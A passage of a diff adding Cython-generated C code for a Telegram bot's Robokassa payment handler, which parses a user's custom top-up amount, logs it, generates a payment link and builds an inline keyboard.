__Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_AddTraceback("process_custom_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_18generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input = {"handle_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("handle_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 244, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 244, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("handle_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 244, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "handle_custom_amount_input") < 0)) __PYX_ERR(0, 244, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("handle_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 244, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_16handle_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_16handle_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("handle_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 244, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_18generator4, __pyx_codeobj__28, (PyObject *) __pyx_cur_scope, __pyx_n_s_handle_custom_amount_input, __pyx_n_s_handle_custom_amount_input, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_18generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + unsigned int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("handle_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L11_resume_from_await; + case 2: goto __pyx_L12_resume_from_await; + case 3: goto __pyx_L13_resume_from_await; + case 4: goto __pyx_L21_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 244, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":246 + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id # <<<<<<<<<<<<<< + * logger.info(f"User {tg_id} entered custom amount: {message.text}") + * inv_id = 0 + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 246, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":247 + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + * logger.info(f"User {tg_id} entered custom amount: {message.text}") # <<<<<<<<<<<<<< + * inv_id = 0 + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyTuple_New(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_4 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_User); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_entered_custom_amount); + __pyx_t_4 += 24; + __Pyx_GIVEREF(__pyx_kp_u_entered_custom_amount); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_entered_custom_amount); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_t_6, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_7); + __Pyx_GIVEREF(__pyx_t_7); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_7); + __pyx_t_7 = 0; + __pyx_t_7 = __Pyx_PyUnicode_Join(__pyx_t_1, 4, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_7}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_8, 1+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 247, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":248 + * tg_id = message.chat.id + * logger.info(f"User {tg_id} entered custom amount: {message.text}") + * inv_id = 0 # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_cur_scope->__pyx_v_inv_id = 0; + + /* "handlers/payments/robokassa_pay.py":250 + * inv_id = 0 + * + * try: # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + { + __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_10, &__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":251 + * + * try: + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount <= 0: + * raise ValueError(" .") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 251, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":252 + * try: + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * + */ + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L4_error) + __pyx_t_12 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 252, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(__pyx_t_12)) { + + /* "handlers/payments/robokassa_pay.py":253 + * amount = int(message.text) + * if amount <= 0: + * raise ValueError(" .") # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_ValueError, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 253, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_Raise(__pyx_t_3, 0, 0, 0); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __PYX_ERR(0, 253, __pyx_L4_error) + + /* "handlers/payments/robokassa_pay.py":252 + * try: + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * + */ + } + + /* "handlers/payments/robokassa_pay.py":255 + * raise ValueError(" .") + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 255, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 255, __pyx_L4_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 255, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_7); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 255, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 255, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":257 + * await state.update_data(amount=amount) + * + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) # <<<<<<<<<<<<<< + * + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_generate_payment_link); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyInt_From_long(__pyx_cur_scope->__pyx_v_inv_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[5] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_amount, __pyx_t_3, __pyx_kp_u__15, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_8, 4+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 257, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_7; + __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":259 + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + * + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Generated_payment_link_for_user); + __pyx_t_4 += 32; + __Pyx_GIVEREF(__pyx_kp_u_Generated_payment_link_for_user); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Generated_payment_link_for_user); + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__16); + __pyx_t_4 += 2; + __Pyx_GIVEREF(__pyx_kp_u__16); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__16); + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_url, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_1); + __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Join(__pyx_t_2, 4, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_1}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_8, 1+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":261 + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 261, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/robokassa_pay.py":262 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/robokassa_pay.py":263 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_u__17) < 0) 